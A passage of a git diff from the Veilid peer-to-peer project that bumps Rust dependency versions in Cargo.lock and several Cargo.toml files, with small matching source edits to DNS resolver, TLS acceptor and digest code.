"registry+https://github.com/rust-lang/crates.io-index" checksum = "fda4ed1c6c173e3fc7a83629421152e01d7b1f9b7f65fb301e490e8cfc656422" dependencies = [ - "pin-project-internal 1.1.3", -] - -[[package]] -name = "pin-project-internal" -version = "0.4.30" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "851c8d0ce9bebe43790dedfc86614c23494ac9f423dd618d3a61fc693eafe61e" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "pin-project-internal", ] [[package]] @@ -3804,16 +3614,6 @@ version = "0.2.17" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de" -[[package]] -name = "prettyplease" -version = "0.1.25" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6c8646e95016a7a6c4adea95bafa8a16baab64b583356217f2c85db4a39d9a86" -dependencies = [ - "proc-macro2", - "syn 1.0.109", -] - [[package]] name = "proc-macro-crate" version = "0.1.5" @@ -3848,32 +3648,10 @@ version = "0.11.9" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b82eaa1d779e9a4bc1c3217db8ffbeabaae1dca241bf70183242128d48681cd" dependencies = [ - "bytes 1.5.0", + "bytes", "prost-derive", ] -[[package]] -name = "prost-build" -version = "0.11.9" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "119533552c9a7ffacc21e099c24a0ac8bb19c2a2a3f363de84cd9b844feab270" -dependencies = [ - "bytes 1.5.0", - "heck", - "itertools", - "lazy_static", - "log", - "multimap", - "petgraph", - "prettyplease", - "prost", - "prost-types", - "regex", - "syn 1.0.109", - "tempfile", - "which", -] - [[package]] name = "prost-derive" version = "0.11.9" @@ -3917,19 +3695,6 @@ dependencies = [ "proc-macro2", ] -[[package]] -name = "rand" -version = "0.7.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" -dependencies = [ - "getrandom 0.1.16", - "libc", - "rand_chacha 0.2.2", - "rand_core 0.5.1", - "rand_hc", -] - [[package]] name = "rand" version = "0.8.5" @@ -3937,18 +3702,8 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" dependencies = [ "libc", - "rand_chacha 0.3.1", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_chacha" -version = "0.2.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" -dependencies = [ - "ppv-lite86", - "rand_core 0.5.1", + "rand_chacha", + "rand_core", ] [[package]] @@ -3958,16 +3713,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" dependencies = [ "ppv-lite86", - "rand_core 0.6.4", -] - -[[package]] -name = "rand_core" -version = "0.5.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" -dependencies = [ - "getrandom 0.1.16", + "rand_core", ] [[package]] @@ -3976,16 +3722,7 @@ version = "0.6.4" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" dependencies = [ - "getrandom 0.2.10", -] - -[[package]] -name = "rand_hc" -version = "0.2.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" -dependencies = [ - "rand_core 0.5.1", + "getrandom", ] [[package]] @@ -4030,7 +3767,7 @@ version = "0.4.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "b033d837a7cf162d7993aded9304e30a83213c648b6e389db233191f891e5c2b" dependencies = [ - "getrandom 0.2.10", + "getrandom", "redox_syscall 0.2.16", "thiserror", ] @@ -4117,21 +3854,20 @@ dependencies = [ [[package]] name = "rpassword" -version = "6.0.1" +version = "7.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "2bf099a1888612545b683d2661a1940089f6c2e5a8e38979b2159da876bfd956" +checksum = "6678cf63ab3491898c0d021b493c94c9b221d91295294a2a5746eacbe5928322" dependencies = [ "libc", - "serde", - "serde_json", + "rtoolbox", "winapi", ] [[package]] name = "rtnetlink" -version = "0.13.0" +version = "0.13.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "6333af2adba73478936174a0ef3edf05fbfa058539c21d567344a53bb6d75cfd" +checksum = "7a552eb82d19f38c3beed3f786bd23aa434ceb9ac43ab44419ca6d67a7e186c0" dependencies = [ "async-global-executor", "futures", @@ -4146,6 +3882,16 @@ dependencies = [ "tokio", ] +[[package]] +name = "rtoolbox" +version = "0.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "034e22c514f5c0cb8a10ff341b9b048b5ceb21591f31c8f44c43b960f9b3524a" +dependencies = [ + "libc", + "winapi", +] + [[package]] name = "rusqlite" version = "0.29.0" @@ -4317,7 +4063,7 @@ dependencies = [ "hkdf", "lazy_static", "num", - "rand 0.8.5", + "rand", "serde", "sha2 0.9.9", "zbus", @@ -4399,6 +4145,17 @@ dependencies = [ "wasm-bindgen", ] +[[package]] +name = "serde-wasm-bindgen" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30c9933e5689bd420dc6c87b7a1835701810cbc10cd86a26e4da45b73e6b1d78" +dependencies = [ + "js-sys", + "serde", + "wasm-bindgen", +] + [[package]] name = "serde_cbor" version = "0.11.2" @@ -4486,20 +4243,6 @@ dependencies = [ "unsafe-libyaml", ] -[[package]] -name = "serial_test" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1c789ec87f4687d022a2405cf46e0cd6284889f1839de292cadeb6c6019506f2" -dependencies = [ - "dashmap", - "futures", - "lazy_static", - "log", - "parking_lot 0.12.1", - "serial_test_derive 0.10.0", -] - [[package]] name = "serial_test" version = "2.0.0" @@ -4511,18 +4254,7 @@ dependencies = [ "lazy_static", "log", "parking_lot 0.12.1", - "serial_test_derive 2.0.0", -] - -[[package]] -name = "serial_test_derive" -version = "0.10.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b64f9e531ce97c88b4778aad0ceee079216071cffec6ac9b904277f8f92e7fe3" -dependencies = [ - "proc-macro2", - "quote", - "syn 1.0.109", + "serial_test_derive", ] [[package]] @@ -4536,19 +4268,6 @@ dependencies = [ "syn 2.0.36", ] -[[package]] -name = "sha-1" -version = "0.9.8" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "99cd6713db3cf16b6c84e06321e049a9b9f699826e16096d23bbcc44d15d51a6" -dependencies = [ - "block-buffer 0.9.0", - "cfg-if 1.0.0", - "cpufeatures", - "digest 0.9.0", - "opaque-debug", -] - [[package]] name = "sha1" version = "0.10.5" @@ -4599,12 +4318,6 @@ version = "1.1.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "24188a676b6ae68c3b2cb3a01be17fbf7240ce009799bb56d5b1409051e78fde" -[[package]] -name = "shlex" -version = "0.1.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7fdf1b9db47230893d76faad238fd6097fd6d6a9245cd7a4d90dbd639536bbd2" - [[package]] name = "shlex" version = "1.2.0" @@ -4827,9 +4540,9 @@ checksum = "2047c6ded9c721764247e62cd3b03c09ffc529b2ba5b10ec482ae507a4a70160" [[package]] name = "sysinfo" -version = "0.28.4" +version = "0.29.10" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4c2f3ca6693feb29a89724516f016488e9aafc7f37264f898593ee4b942f31b" +checksum = "0a18d114d420ada3a891e6bc8e96a2023402203296a47cdd65083377dad18ba5" dependencies = [ "cfg-if 1.0.0", "core-foundation-sys", @@ -4839,19 +4552,6 @@ dependencies = [ "winapi", ] -[[package]] -name = "tempfile" -version = "3.8.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cb94d2f3cc536af71caac6b6fcebf65860b347e7ce0cc9ebe8f70d3e521054ef" -dependencies = [ - "cfg-if 1.0.0", - "fastrand 2.0.0", - "redox_syscall 0.3.5", - "rustix 0.38.13", - "windows-sys 0.48.0", -] - [[package]] name = "termcolor" version = "1.1.3" @@ -4973,7 +4673,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "17ed6077ed6cd6c74735e21f37eb16dc3935f96878b1fe961074089cc80893f9" dependencies = [ "backtrace", - "bytes 1.5.0", + "bytes", "libc", "mio", "num_cpus", @@ -5024,7 +4724,7 @@ version = "0.7.8" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" dependencies = [ - "bytes 1.5.0", + "bytes", "futures-core", "futures-io", "futures-sink", @@ -5076,38 +4776,6 @@ dependencies = [ "winnow", ] -[[package]] -name = "tonic" -version = "0.8.3" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8f219fad3b929bef19b1f86fbc0358d35daed8f2cac972037ac0dc10bbb8d5fb" -dependencies = [ - "async-stream", - "async-trait", - "axum", - "base64 0.13.1", - "bytes 1.5.0", - "futures-core", - "futures-util", - "h2", - "http", - "http-body", - "hyper", - "hyper-timeout", - "percent-encoding", - "pin-project 1.1.3", - "prost", - "prost-derive", - "tokio", - "tokio-stream", - "tokio-util", - "tower", - "tower-layer", - "tower-service", - "tracing", - "tracing-futures", -] - [[package]] name = "tonic" version = "0.9.2" @@ -5117,7 +4785,7 @@ dependencies = [ "async-trait", "axum", "base64 0.21.4", - "bytes 1.5.0", + "bytes", "futures-core", "futures-util", "h2", @@ -5126,7 +4794,7 @@ dependencies = [ "hyper", "hyper-timeout", "percent-encoding", - "pin-project 1.1.3", + "pin-project", "prost", "tokio", "tokio-stream", @@ -5136,19 +4804,6 @@ dependencies = [ "tracing", ] -[[package]] -name = "tonic-build" -version = "0.8.4" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5bf5e9b9c0f7e0a7c027dcfaba7b2c60816c7049171f679d99ee2ff65d0de8c4" -dependencies = [ - "prettyplease", - "proc-macro2", - "prost-build", - "quote", - "syn 1.0.109", -] - [[package]] name = "tower" version = "0.4.13" @@ -5158,9 +4813,9 @@ dependencies = [ "futures-core", "futures-util", "indexmap 1.9.3", - "pin-project 1.1.3", + "pin-project", "pin-project-lite", - "rand 0.8.5", + "rand", "slab", "tokio", "tokio-util", @@ -5236,16 +4891,6 @@ dependencies = [ "tracing-subscriber", ] -[[package]] -name = "tracing-futures" -version = "0.2.5" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" -dependencies = [ - "pin-project 1.1.3", - "tracing", -] - [[package]] name = "tracing-journald" version = "0.3.0" @@ -5270,12 +4915,14 @@ dependencies = [ [[package]] name = "tracing-opentelemetry" -version = "0.18.0" +version = "0.21.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "21ebb87a95ea13271332df069020513ab70bdb5637ca42d6e492dc3bbbad48de" +checksum = "75327c6b667828ddc28f5e3f169036cb793c3f588d83bf0f262a7f062ffed3c8" dependencies = [ "once_cell", "opentelemetry", + "opentelemetry_sdk", + "smallvec", "tracing", "tracing-core", "tracing-log", @@ -5288,7 +4935,7 @@ version = "0.1.2" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9bc58223383423483e4bc056c7e7b3f77bdee924a9d33834112c69ead06dc847" dependencies = [ - "bindgen 0.59.2", + "bindgen", "cc", "cfg-if 1.0.0", "fnv", @@ -5339,9 +4986,9 @@ dependencies = [ [[package]] name = "trust-dns-proto" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "4f7f83d1e4a0e4358ac54c5c3681e5d7da5efc5a7a632c90bb6d6669ddd9bc26" +checksum = "0dc775440033cb114085f6f2437682b194fa7546466024b1037e82a48a052a69" dependencies = [ "async-trait", "cfg-if 1.0.0", @@ -5350,10 +4997,10 @@ dependencies = [ "futures-channel", "futures-io", "futures-util", - "idna 0.2.3", + "idna", "ipnet", - "lazy_static", - "rand 0.8.5", + "once_cell", + "rand", "smallvec", "thiserror", "tinyvec", @@ -5364,16 +5011,17 @@ dependencies = [ [[package]] name = "trust-dns-resolver" -version = "0.22.0" +version = "0.23.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "aff21aa4dcefb0a1afbfac26deb0adc93888c7d295fb63ab273ef276ba2b7cfe" +checksum = "2dff7aed33ef3e8bf2c9966fccdfed93f93d46f432282ea875cd66faabc6ef2f" dependencies = [ "cfg-if 1.0.0", "futures-util", "ipconfig", - "lazy_static", "lru-cache", + "once_cell", "parking_lot 0.12.1", + "rand", "resolv-conf", "smallvec", "thiserror", @@ -5396,7 +5044,7 @@ checksum = "d6b26cf145f2f3b9ff84e182c448eaf05468e247f148cf3d2a7d67d78ff023a0" dependencies = [ "gloo-utils 0.1.7", "serde", - "serde-wasm-bindgen", + "serde-wasm-bindgen 0.5.0", "serde_json", "tsify-macros", "wasm-bindgen", @@ -5414,25 +5062,6 @@ dependencies = [ "syn 2.0.36", ] -[[package]] -name = "tungstenite" -version = "0.11.1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0308d80d86700c5878b9ef6321f020f29b1bb9d5ff3cab25e75e23f3a492a23" -dependencies = [ - "base64 0.12.3", - "byteorder", - "bytes 0.5.6", - "http", - "httparse", - "input_buffer", - "log", - "rand 0.7.3", - "sha-1", - "url", - "utf-8", -] - [[package]] name = "tungstenite" version = "0.20.0" @@ -5440,12 +5069,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "e862a1c4128df0112ab625f55cd5c934bcb4312ba80b39ae4b4835a3fd58e649" dependencies = [ "byteorder", - "bytes 1.5.0", + "bytes", "data-encoding", "http", "httparse", "log", - "rand 0.8.5", + "rand", "sha1", "thiserror", "url", @@ -5532,10 +5161,16 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "143b538f18257fac9cad154828a57c6bf5157e1aa604d4816b5995bf6de87ae5" dependencies = [ "form_urlencoded", - "idna 0.4.0", + "idna", "percent-encoding", ] +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + [[package]] name = "utf-8" version = "0.7.6" @@ -5584,7 +5219,7 @@ version = "0.2.2" dependencies = [ "arboard", "async-std", - "async-tungstenite 0.8.0", + "async-tungstenite", "cfg-if 1.0.0", "clap 4.4.3", "config", @@ -5594,7 +5229,7 @@ dependencies = [ "cursive_buffered_backend", "cursive_table_view", "data-encoding", - "directories 4.0.1", + "directories", "flexi_logger", "flume", "futures", @@ -5602,10 +5237,10 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_derive", - "serial_test 0.10.0", + "serial_test", "stop-token", "thiserror", "tokio", @@ -5624,7 +5259,7 @@ dependencies = [ "async-std", "async-std-resolver", "async-tls", - "async-tungstenite 0.23.0", + "async-tungstenite", "async_executors", "backtrace", "blake3", @@ -5638,15 +5273,14 @@ dependencies = [ "console_error_panic_hook", "curve25519-dalek", "data-encoding", - "directories 5.0.1", + "directories", "ed25519-dalek", "enum-as-inner", "enumset", "eyre", "flume", "futures-util", - "generic-array 0.14.7", - "getrandom 0.2.10", + "getrandom", "hex", "ifstructs", "jni", @@ -5665,7 +5299,7 @@ dependencies = [ "ndk-glue", "netlink-packet-route", "netlink-sys", - "nix 0.26.4", + "nix 0.27.1", "num-traits", "once_cell", "owning_ref", @@ -5681,9 +5315,9 @@ dependencies = [ "send_wrapper 0.6.0", "serde", "serde-big-array", - "serde-wasm-bindgen", + "serde-wasm-bindgen 0.6.0", "serde_json", - "serial_test 2.0.0", + "serial_test", "shell-words", "simplelog", "socket2 0.5.4", @@ -5737,7 +5371,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "serde", "serde_json", "tokio", @@ -5767,7 +5401,7 @@ checksum = "28428a3f826ed334f995522e554d7c8c1a5a0e0a0248fc795a31022ddf436c9d" dependencies = [ "attohttpc", "log", - "rand 0.8.5", + "rand", "url", "xmltree", ] @@ -5778,7 +5412,7 @@ version = "0.2.2" dependencies = [ "ansi_term", "async-std", - "async-tungstenite 0.23.0", + "async-tungstenite", "backtrace", "cfg-if 1.0.0", "clap 4.4.3", @@ -5787,7 +5421,7 @@ dependencies = [ "console-subscriber", "ctrlc", "daemonize", - "directories 4.0.1", + "directories", "flume", "futures-util", "hostname", @@ -5797,12 +5431,12 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.12.1", + "parking_lot 0.11.2", "rpassword", "serde", "serde_derive", "serde_yaml", - "serial_test 0.10.0", + "serial_test", "signal-hook", "signal-hook-async-std", "stop-token", @@ -5838,7 +5472,7 @@ dependencies = [ "flume", "fn_name", "futures-util", - "getrandom 0.2.10", + "getrandom", "jni", "jni-sys", "js-sys", @@ -5847,16 +5481,16 @@ dependencies = [ "log", "ndk", "ndk-glue", - "nix 0.26.4", + "nix 0.27.1", "once_cell", "oslog", "paranoid-android", "parking_lot 0.12.1", - "rand 0.8.5", - "rand_core 0.6.4", + "rand", + "rand_core", "range-set-blaze", "send_wrapper 0.6.0", - "serial_test 2.0.0", + "serial_test", "simplelog", "static_assertions", "stop-token", @@ -5888,7 +5522,7 @@ dependencies = [ "parking_lot 0.12.1", "send_wrapper 0.6.0", "serde", - "serde-wasm-bindgen", + "serde-wasm-bindgen 0.6.0", "serde_json", "tracing", "tracing-subscriber", @@ -5938,12 +5572,6 @@ dependencies = [ "try-lock", ] -[[package]] -name = "wasi" -version = "0.9.0+wasi-snapshot-preview1" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" - [[package]] name = "wasi" version = "0.11.0+wasi-snapshot-preview1" @@ -6435,7 +6063,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "fb66477291e7e8d2b0ff1bcb900bf29489a9692816d79874bea351e7a8b6de96" dependencies = [ "curve25519-dalek", - "rand_core 0.6.4", + "rand_core", "serde", "zeroize", ] @@ -6480,7 +6108,7 @@ dependencies = [ "byteorder", "derivative", "enumflags2", - "fastrand 1.9.0", + "fastrand", "futures", "nb-connect", "nix 0.22.3", diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index 4e887b37..a60c3f1f 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -21,13 +21,13 @@ rt-async-std = [ rt-tokio = ["tokio", "tokio-util", "veilid-tools/rt-tokio", "cursive/rt-tokio"] [dependencies] -async-std = { version = "^1.9", features = [ +async-std = { version = "^1.12", features = [ "unstable", "attributes", ], optional = true } tokio = { version = "^1", features = ["full"], optional = true } tokio-util = { version = "^0", features = ["compat"], optional = true } -async-tungstenite = { version = "^0.8" } +async-tungstenite = { version = "^0.23" } cursive = { git = "https://gitlab.com/veilid/cursive.git", default-features = false, features = [ "crossterm", "toml", @@ -38,10 +38,10 @@ cursive_buffered_backend = { git = "https://gitlab.com/veilid/cursive-buffered-b # cursive-multiplex = "0.6.0" # cursive_tree_view = "0.6.0" cursive_table_view = "0.14.0" -arboard = "3.2.0" +arboard = "3.2.1" # cursive-tabs = "0.5.0" clap = { version = "4", features = ["derive"] } -directories = "^4" +directories = "^5" log = "^0" futures = "^0" serde = "^1" @@ -63,4 +63,4 @@ data-encoding = { version = "^2" } indent = { version = "0.1.1" } [dev-dependencies] -serial_test = "^0" +serial_test = "^2" diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 545539bc..4fb77bdd 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -65,8 +65,8 @@ veilid-tools = { version = "0.2.2", path = "../veilid-tools", features = [ paste = "1.0.14" once_cell = "1.18.0" owning_ref = "0.4.1" -backtrace = "0.3.68" -num-traits = "0.2.15" +backtrace = "0.3.69" +num-traits = "0.2.16" shell-words = "1.1.0" static_assertions = "1.1.0" cfg-if = "1.0.0" @@ -79,14 +79,13 @@ tracing = { version = "0.1.37", features = ["log", "attributes"] } tracing-subscriber = "0.3.17" tracing-error = "0.2.0" eyre = "0.6.8" -thiserror = "1.0.47" +thiserror = "1.0.48" # Data structures enumset = { version = "1.1.2", features = ["serde"] } keyvaluedb = "0.1.0" range-set-blaze = "0.1.9" weak-table = "0.3.2" -generic-array = "0.14.7" hashlink = { package = "veilid-hashlink", version = "0.1.0", features = [ "serde_impl", ] } @@ -113,7 +112,7 @@ x25519-dalek = { version = "2.0.0", default-features = false, features = [ "zeroize", "precomputed-tables", ] } -curve25519-dalek = { version = "4.0.0", default-features = false, features = [ +curve25519-dalek = { version = "4.1.0", default-features = false, features = [ "alloc", "zeroize", "precomputed-tables", @@ -121,21 +120,21 @@ curve25519-dalek = { version = "4.0.0", default-features = false, features = [ blake3 = { version = "1.4.1" } chacha20poly1305 = "0.10.1" chacha20 = "0.9.1" -argon2 = "0.5.1" +argon2 = "0.5.2" # Network -async-std-resolver = { version = "0.22.0", optional = true } -trust-dns-resolver = { version = "0.22.0", optional = true } -enum-as-inner = "=0.5.1" # temporary fix for trust-dns-resolver v0.22.0 +async-std-resolver = { version = "0.23.0", optional = true } +trust-dns-resolver = { version = "0.23.0", optional = true } +enum-as-inner = "=0.6.0" # temporary fix for trust-dns-resolver v0.22.0 # Serialization capnp = { version = "0.18.1", default-features = false, features = [ "alloc" ] } -serde = { version = "1.0.183", features = ["derive"] } -serde_json = { version = "1.0.105" } +serde = { version = "1.0.188", features = ["derive"] } +serde_json = { version = "1.0.107" } serde-big-array = "0.5.1" json = "0.12.4" data-encoding = { version = "2.4.0" } -schemars = "0.8.12" +schemars = "0.8.13" lz4_flex = { version = "0.11.1", default-features = false, features = [ "safe-encode", "safe-decode", @@ -148,9 +147,9 @@ lz4_flex = { version = "0.11.1", default-features = false, features = [ # Tools config = { version = "0.13.3", features = ["yaml"] } bugsalot = { package = "veilid-bugsalot", version = "0.1.0" } -chrono = "0.4.26" -libc = "0.2.147" -nix = "0.26.2" +chrono = "0.4.31" +libc = "0.2.148" +nix = "0.27.1" # System async-std = { version = "1.12.0", features = ["unstable"], optional = true } @@ -170,14 +169,14 @@ keyring-manager = "0.5.0" keyvaluedb-sqlite = "0.1.0" # Network -async-tungstenite = { version = "0.23.0", features = ["async-tls"] } +async-tungstenite = { version = "0.23.0", features = [ "async-tls" ] } igd = { package = "veilid-igd", version = "0.1.0" } async-tls = "0.12.0" -webpki = "0.22.0" +webpki = "0.22.1" webpki-roots = "0.25.2" -rustls = "0.20.8" +rustls = "=0.20.9" rustls-pemfile = "1.0.3" -socket2 = { version = "0.5.3", features = ["all"] } +socket2 = { version = "0.5.4", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] @@ -187,7 +186,7 @@ veilid-tools = { version = "0.2.2", path = "../veilid-tools", default-features = ] } # Tools -getrandom = { version = "0.2.4", features = ["js"] } +getrandom = { version = "0.2.10", features = ["js"] } # System async_executors = { version = "0.7.0", default-features = false, features = [ @@ -200,7 +199,7 @@ js-sys = "0.3.64" wasm-bindgen-futures = "0.4.37" send_wrapper = { version = "0.6.0", features = ["futures"] } tsify = { version = "0.4.5", features = ["js"] } -serde-wasm-bindgen = "0.5.0" +serde-wasm-bindgen = "0.6.0" # Network ws_stream_wasm = "0.7.4" @@ -242,9 +241,9 @@ ifstructs = "0.1.1" # Dependencies for Linux or Android [target.'cfg(any(target_os = "android", target_os = "linux"))'.dependencies] -rtnetlink = { version = "=0.13.0", default-features = false } +rtnetlink = { version = "=0.13.1", default-features = false } netlink-sys = { version = "=0.8.5" } -netlink-packet-route = { version = "=0.17.0" } +netlink-packet-route = { version = "=0.17.1" } # Dependencies for Windows [target.'cfg(target_os = "windows")'.dependencies] diff --git a/veilid-core/src/crypto/blake3digest512.rs b/veilid-core/src/crypto/blake3digest512.rs index 3acf65bc..625d5ea6 100644 --- a/veilid-core/src/crypto/blake3digest512.rs +++ b/veilid-core/src/crypto/blake3digest512.rs @@ -1,8 +1,7 @@ -use curve25519_dalek::digest::generic_array::typenum::U64; +use curve25519_dalek::digest::generic_array::{typenum::U64, GenericArray}; use curve25519_dalek::digest::{ Digest, FixedOutput, FixedOutputReset, Output, OutputSizeUser, Reset, Update, }; -use generic_array::GenericArray; pub struct Blake3Digest512 { dig: blake3::Hasher, diff --git a/veilid-core/src/intf/native/system.rs b/veilid-core/src/intf/native/system.rs index 11d9e47c..0400f6f9 100644 --- a/veilid-core/src/intf/native/system.rs +++ b/veilid-core/src/intf/native/system.rs @@ -25,7 +25,7 @@ cfg_if! { pub async fn resolver( config: config::ResolverConfig, options: config::ResolverOpts, - ) -> Result { + ) -> AsyncResolver { AsyncResolver::tokio(config, options) } @@ -62,7 +62,6 @@ cfg_if! { config::ResolverOpts::default(), ) .await - .expect("failed to connect resolver"), }; *resolver_lock = Some(resolver.clone()); diff --git a/veilid-core/src/network_manager/native/network_tcp.rs b/veilid-core/src/network_manager/native/network_tcp.rs index 45cc0267..ad93f5bf 100644 --- a/veilid-core/src/network_manager/native/network_tcp.rs +++ b/veilid-core/src/network_manager/native/network_tcp.rs @@ -33,7 +33,7 @@ impl Network { let server_config = self .load_server_config() .wrap_err("Couldn't create TLS configuration")?; - let acceptor = TlsAcceptor::from(Arc::new(server_config)); + let acceptor = TlsAcceptor::from(server_config); self.inner.lock().tls_acceptor = Some(acceptor.clone()); Ok(acceptor) } diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 821e7978..722d812f 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -47,10 +47,10 @@ data-encoding = { version = "^2" } # Dependencies for native builds only # Linux, Windows, Mac, iOS, Android [target.'cfg(not(target_arch = "wasm32"))'.dependencies] -tracing-opentelemetry = "0.18" -opentelemetry = { version = "0.18" } -opentelemetry-otlp = { version = "0.11" } -opentelemetry-semantic-conventions = "0.10" +tracing-opentelemetry = "0.21" +opentelemetry = { version = "0.20" } +opentelemetry-otlp = { version = "0.13" } +opentelemetry-semantic-conventions = "0.12" async-std = { version = "^1", features = ["unstable"], optional = true } tokio = { version = "^1", features = ["full"], optional = true } tokio-stream = { version = "^0", features = ["net"], optional = true } diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index 028b289e..ff9a1b65 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -39,11 +39,11 @@ veilid-core = { path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-subscriber = { version = "^0", features = ["env-filter"] } tracing-appender = "^0" -tracing-opentelemetry = "0.18" +tracing-opentelemetry = "0.21" # Buggy: tracing-error = "^0" -opentelemetry = { version = "0.18" } -opentelemetry-otlp = { version = "0.11" } -opentelemetry-semantic-conventions = "0.10" +opentelemetry = { version = "0.20" } +opentelemetry-otlp = { version = "0.13" } +opentelemetry-semantic-conventions = "0.12" async-std = { version = "^1", features = ["unstable"], optional = true } tokio = { version = "^1", features = ["full", "tracing"], optional = true } console-subscriber = { version = "^0", optional = true } @@ -53,7 +53,7 @@ async-tungstenite = { version = "^0", features = ["async-tls"] } color-eyre = { version = "^0", default-features = false } backtrace = "^0" clap = { version = "4", features = ["derive", "string", "wrap_help"] } -directories = "^4" +directories = "^5" parking_lot = "^0" config = { version = "^0", features = ["yaml"] } cfg-if = "^1" @@ -69,10 +69,10 @@ ctrlc = "^3" lazy_static = "^1" bugsalot = { package = "veilid-bugsalot", version = "0.1.0" } flume = { version = "^0", features = ["async"] } -rpassword = "^6" +rpassword = "^7" hostname = "^0" stop-token = { version = "^0", default-features = false } -sysinfo = { version = "^0.28.4", default-features = false } +sysinfo = { version = "^0.29.10", default-features = false } wg = "0.3.2" [target.'cfg(windows)'.dependencies] @@ -89,4 +89,4 @@ nix = "^0" tracing-journald = "^0" [dev-dependencies] -serial_test = "^0" +serial_test = "^2" diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 726826a1..9043dc8a 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -40,7 +40,7 @@ log = { version = "0.4.20" } eyre = "0.6.8" static_assertions = "1.1.0" cfg-if = "1.0.0" -thiserror = "1.0.47" +thiserror = "1.0.48" futures-util = { version = "0.3.28", default-features = false, features = [ "alloc", ] } @@ -49,7 +49,7 @@ once_cell = "1.18.0" stop-token = { version = "0.7.0", default-features = false } rand = "0.8.5" rand_core = "0.6.4" -backtrace = "0.3.68" +backtrace = "0.3.69" fn_name = "0.1.0" range-set-blaze = "0.1.9" flume = { version = "0.11.0", features = ["async"] } @@ -66,10 +66,10 @@ futures-util = { version = "0.3.28", default-features = false, features = [ "std", "io", ] } -chrono = "0.4.26" +chrono = "0.4.31" -libc = "0.2.147" -nix = "0.26.2" +libc = "0.2.148" +nix = { version = "0.27.1", features = [ "user" ] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] diff --git a/veilid-wasm/Cargo.toml 